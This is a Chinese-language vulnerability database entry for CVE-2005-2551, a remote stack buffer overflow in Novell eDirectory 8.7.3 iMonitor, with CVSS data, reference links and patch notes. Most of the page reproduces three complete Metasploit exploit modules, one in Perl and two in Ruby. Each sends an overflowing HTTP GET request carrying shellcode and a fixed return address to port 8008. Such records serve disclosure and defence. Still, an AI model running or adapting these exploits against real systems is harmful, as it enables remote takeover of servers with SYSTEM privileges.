CVE-2005-2551
CVSS7.5
发布时间 :2005-08-12 00:00:00
修订时间 :2008-09-05 16:52:03
NMCOEP    

[原文]Buffer overflow in dhost.exe in iMonitor for Novell eDirectory 8.7.3 on Windows allows attackers to cause a denial of service (crash) and obtain access to files via unknown vectors.


[CNNVD]Novell eDirectory 缓冲区溢出漏洞(CNNVD-200508-116)

        Novell eDirectory是一个的跨平台的目录服务器。
        Novell eDirectory Server处理用户请求时存在缓冲区溢出漏洞,攻击者可以利用这个漏洞在受影响服务器上以本地系统权限执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2551
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2551
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200508-116
(官方数据源) CNNVD

- 其它链接及资源

http://www.kb.cert.org/vuls/id/213165
(UNKNOWN)  CERT-VN  VU#213165
http://support.novell.com/cgi-bin/search/searchtid.cgi?/2972038.htm
(PATCH)  CONFIRM  http://support.novell.com/cgi-bin/search/searchtid.cgi?/2972038.htm
http://support.novell.com/cgi-bin/search/searchtid.cgi?/10098568.htm
(VENDOR_ADVISORY)  CONFIRM  http://support.novell.com/cgi-bin/search/searchtid.cgi?/10098568.htm
http://www.securityfocus.com/bid/14548
(UNKNOWN)  BID  14548
http://securitytracker.com/id?1014661
(UNKNOWN)  SECTRACK  1014661
http://secunia.com/advisories/16393
(UNKNOWN)  SECUNIA  16393

- 漏洞信息

Novell eDirectory 缓冲区溢出漏洞
高危 缓冲区溢出
2005-08-12 00:00:00 2005-10-20 00:00:00
远程  
        Novell eDirectory是一个的跨平台的目录服务器。
        Novell eDirectory Server处理用户请求时存在缓冲区溢出漏洞,攻击者可以利用这个漏洞在受影响服务器上以本地系统权限执行任意代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        http://support.novell.com/cgi-bin/search/searchtid.cgi?/10098568.htm
        http://support.novell.com/cgi-bin/search/searchtid.cgi?/2972038.htm

- 漏洞信息 (1152)

Novell eDirectory 8.7.3 iMonitor Remote Stack Overflow (EDBID:1152)
windows remote
2005-08-12 Verified
8008 n/a
N/A [点击下载]
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::edirectory_imonitor;
use strict;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'    => 'eDirectory 8.7.3 iMonitor Remote Stack Overflow',
	'Version' => '$Revision: 1.2 $',
	'Authors' => [ 'anonymous' ],
	  
	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'winnt', 'winxp', 'win2k', 'win2003' ],
	'Priv'  => 1,

	'AutoOpts'  =>  { 'EXITFUNC' => 'thread' },

	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 8008 ],
		'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },

	'Payload' =>
	  {
		'Space'     => 0x1036,
		'BadChars'  => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%",
		'Keys' 	    => ['+ws2ord'],
	  },

	'Description'  => Pex::Text::Freeform(qq{
		This module exploits a stack overflow in eDirectory 8.7.3 iMonitor
	service. This vulnerability was discovered by Peter Winter-Smith of 
	NGSSoftware.

}),

	'Refs'  =>
	  [
	  	['OSVDB', '18703'],
		['CVE',   '2005-2551'],
		['BID',   '14548'],
	  ],

	'Targets' =>
	  [
		[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', 0x63501f15] # pop/pop/ret
	  ],

	'Keys'  => ['imonitor'],
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self        = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target      = $self->Targets->[$target_idx];

	$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'SSL'      => $self->GetVar('SSL'),
	  );

	if ( $s->IsError ) {
		$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
		return;
	}

	# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
	my $req = $shellcode . "\x90\x90\xeb\x04" . pack('V', $target->[1]) . "\xe9\xbd\xef\xff\xff" . ("B" x 0xD0);
	my $request =
	  "GET /nds/$req HTTP/1.1\r\n".
	  "Accept: */*\r\n".
	  "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
	  "Host: $target_host:$target_port\r\n".
	  "Connection: Close\r\n".
	  "\r\n";

	$s->Send($request);

	$self->PrintLine("[*] Overflow request sent, sleeping for four seconds");
	select(undef, undef, undef, 4);

	$self->Handler($s);
	return;
}

1;

# milw0rm.com [2005-08-12]
		

- 漏洞信息 (16769)

eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow (EDBID:16769)
windows remote
2010-07-13 Verified
8008 metasploit
N/A [点击下载]
##
# $Id: edirectory_imonitor.rb 9812 2010-07-13 22:11:40Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in eDirectory 8.7.3
				iMonitor service. This vulnerability was discovered by Peter
				Winter-Smith of NGSSoftware.

				NOTE: repeated exploitation attempts may cause eDirectory to crash. It does
				not restart automatically in a default installation.
			},
			'Author'         => [ 'anonymous', 'Matt Olney <scacynwrig@yahoo.com>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9812 $',
			'References'     =>
				[
					[ 'CVE', '2005-2551'],
					[ 'OSVDB', '18703'],
					[ 'BID', '14548'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 4150,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret
				],
			'DisclosureDate' => 'Aug 11 2005',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(8008)
			], self.class)
	end

	def exploit
		c = connect

		# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
		uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V')
		uri << "\xe9\xbd\xef\xff\xff"
		uri << "B" * 0xD0

		res = c.send_request(c.request_raw({ 'uri' => uri }))
		select(nil,nil,nil,4)

		handler
		disconnect
	end

end
		

- 漏洞信息 (F82943)

eDirectory 8.7.3 iMonitor Remote Stack Overflow (PacketStormID:F82943)
2009-11-26 00:00:00
anonymous,Matt Olney  metasploit.com
exploit,overflow
CVE-2005-2551
[点击下载]

This Metasploit module exploits a stack overflow in eDirectory 8.7.3 iMonitor service. This vulnerability was discovered by Peter Winter-Smith of NGSSoftware.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'eDirectory 8.7.3 iMonitor Remote Stack Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in eDirectory 8.7.3
				iMonitor service. This vulnerability was discovered by Peter
				Winter-Smith of NGSSoftware.
					
			},
			'Author'         => [ 'anonymous', 'Matt Olney <scacynwrig@yahoo.com>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2005-2551'],
					[ 'OSVDB', '18703'],
					[ 'BID', '14548'],

				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 4150,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret
				],
			'DisclosureDate' => 'Aug 11 2005',
			'DefaultTarget' => 0))

			register_options(
				[
					Opt::RPORT(8008)
				], self.class)
							
	end

	def exploit
		c = connect
		
		# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
		uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V')
		uri << "\xe9\xbd\xef\xff\xff"
		uri << "B" * 0xD0
		
		res = c.send_request(c.request_raw({ 'uri' => uri }))
		sleep(4)
		
		handler
		disconnect
	end

end
    

- 漏洞信息

18703
Novell eDirectory iMonitor on Windows dhost.exe Unspecified Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Patch / RCS
Exploit Public, Exploit Commercial

- 漏洞描述

A remote overflow exists in Novell eDirectory iMonitor on Windows. iMonitor fails to handle malformed HTTP GET requests resulting in a stack overflow. With a specially crafted request, an attacker can execute arbitrary code with SYSTEM privileges resulting in a loss of integrity.

- 时间线

2005-08-11 Unknow
2005-08-12 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Novell has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站